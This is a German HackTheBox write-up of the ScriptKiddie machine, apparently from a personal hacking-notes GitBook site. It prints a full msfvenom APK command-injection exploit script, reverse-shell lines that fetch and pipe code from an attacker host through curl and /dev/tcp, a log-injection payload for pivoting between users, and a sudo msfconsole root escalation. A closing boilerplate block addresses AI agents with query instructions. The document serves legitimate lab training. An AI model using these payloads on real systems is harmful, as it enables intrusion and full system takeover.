> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md).

# Scriptkiddie HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/ScriptKiddie>" %}

{% hint style="warning" %}
Fähigkeiten:

* Msfvenom-Ausnutzung (CVE-2020-7384) (RCE)
* Manipulation von Logs + Cron-Job (Command Injection und User-Pivoting)
* Missbrauch des Sudoers-Privilegs (Msfconsole-Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/069245e06c7596a7924cbe9a28b58895d641cdc4" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/e549171e80b624cb7d65f5bb8b2d74c5b5eb1464" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.226 -oG allPorts
```

<figure><img src="/files/8ae2d27385de2cf3ce1c933866790593d595c465" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,5000 10.10.10.226 -oN targeted
```

<figure><img src="/files/9c684ea0aab3462dbd3b15e5a2ad8fc4516b61aa" alt=""><figcaption></figcaption></figure>

## Port 5000 - Msfvenom APK TCI-Ausnutzung

<figure><img src="/files/7474117533595e6179607fe90064eff525302c6d" alt=""><figcaption></figcaption></figure>

Wir identifizieren einen verwundbaren Dienst, der auf Port 5000 läuft.

<figure><img src="/files/f1d682448d78c86efe3f86afec8c1cd394a81d2b" alt=""><figcaption></figcaption></figure>

Wir suchen nach zugehörigen Schwachstellen:

```bash
searchsploit -m multiple/local/49491.py
```

Wir finden eine potenzielle Injektion über APK.

<figure><img src="/files/9a88fdff92533c6e8d26617a9bc3d6bd34fbcab4" alt="" width="557"><figcaption></figcaption></figure>

**Exploit-Skript (msfvenom-exploit.py)**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Änder mich
payload = 'ping 10.10.14.50'

# b64encode, um Badchars zu vermeiden (keytool ist wählerisch)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] Erzeuge bösartige APK-Datei")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# empty_file anlegen
open(empty_file, "w").close()

# apk_file erstellen
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Signaturschlüssel mit bösartigem -dname erzeugen
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# APK mit unserem bösartigen dname signieren
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Fertig! apkfile befindet sich bei {apk_file}")
print(f"Ausführen: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

Das Skript erzeugt eine temporäre Datei, die eine bösartige APK enthält.

<figure><img src="/files/1adc78b8b72ab14347a419d8ddba204365d4399c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9181bd6ef6cea2c63441ef0aaf969e9c85f509f0" alt=""><figcaption></figcaption></figure>

**ICMP-Paketanalyse**

Wir überwachen die Netzwerkaktivität, um Rückmeldungen zu erkennen:

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/069a071f42afb8e8421563061724e7f708ce470f" alt=""><figcaption></figcaption></figure>

### **RCE-Ausnutzung mit Msfvenom**

Wir ändern die Payload, um eine Reverse-Verbindung herzustellen:

```bash
# Änder mich
payload = 'curl 10.10.14.50 | bash'
```

Wir erstellen einen `index.html` Datei mit:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Wir starten einen HTTP-Server:

```bash
python3 -m http.server 80
```

Dann lauschen wir auf die Verbindung auf Port 443:

```bash
nc -nlvp 443
```

Sobald die APK gesendet und auf dem Zielsystem ausgeführt wurde, erhalten wir eine Remote-Shell.

<figure><img src="/files/832e10764da4a17004e378e1a0750faea3a76676" alt=""><figcaption></figcaption></figure>

#### Wir verbessern unser Terminal für eine bessere Interaktivität:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="/files/6c04a766012a7734bcd06582093aaeff085ffc1a" alt="" width="563"><figcaption></figcaption></figure>

## **Privilegieneskalation**

### Pivot zu Benutzer pwn

Wir finden ein Skript `scanlosers` im Verzeichnis des Benutzers `pwn`:

```bash
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
```

Dieses Skript verarbeitet Logs und führt `nmap`aus, was für eine Privilegieneskalation ausgenutzt werden könnte.

<figure><img src="/files/666b05ad64f848967dbfa2b81471c7d08e560210" alt=""><figcaption></figcaption></figure>

Die Idee ist, einen Befehl einzuschleusen, indem die Filterung des dritten Worts ausgenutzt wird. Wir können ein Semikolon einfügen `;` gefolgt von einem schädlichen Befehl, wie zum Beispiel `curl` an einen vom Angreifer kontrollierten Server.

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 #" > /home/kid/logs/hackers
```

Dies führt zu einer HTTP-Anfrage an unseren Server.

<figure><img src="/files/3fec6356dc8832bd8ab0a9d62bcad70bd11dae15" alt=""><figcaption></figcaption></figure>

Wir lauschen auf unserem Rechner mit:

```bash
nc -nlvp 443
```

Dann injizieren wir einen Befehl, um eine Remote-Shell zu erhalten:

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 | bash #" > /home/kid/logs/hackers
```

<figure><img src="/files/4c9e2ac58ab3df9d824e1d1b5293f45f3d49af40" alt=""><figcaption></figcaption></figure>

### Sudo - Metasploit

Wir prüfen die `sudo` Berechtigungen:

```bash
sudo -l
```

<figure><img src="/files/49cc854b1046d7549136502cd762c6418e46b996" alt=""><figcaption></figcaption></figure>

Wir entdecken, dass wir ausführen können `Metasploit` als `root`:

```bash
sudo /opt/metasploit-framework-6.0.9/msfconsole
```

<figure><img src="/files/61b251c939412c1d1f306d071a8ea11a02a11ec9" alt=""><figcaption></figcaption></figure>

In `msfconsole`, öffnen wir eine interaktive Ruby-Shell:

```ruby
irb
```

Dann starten wir eine Bash-Shell:

```ruby
system("/bin/bash")
```

Wir sind jetzt `root` und können die `root.txt` Flagge lesen! 🎉

<figure><img src="/files/67d82cb75f2be208a3f7112b36c6a0d981e4d96d" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/5cb91ded8d670b8ecd7517f8076149e171040f09" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/b1dbc8c3bda135cc0ffc93a183e773605b5a9146" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
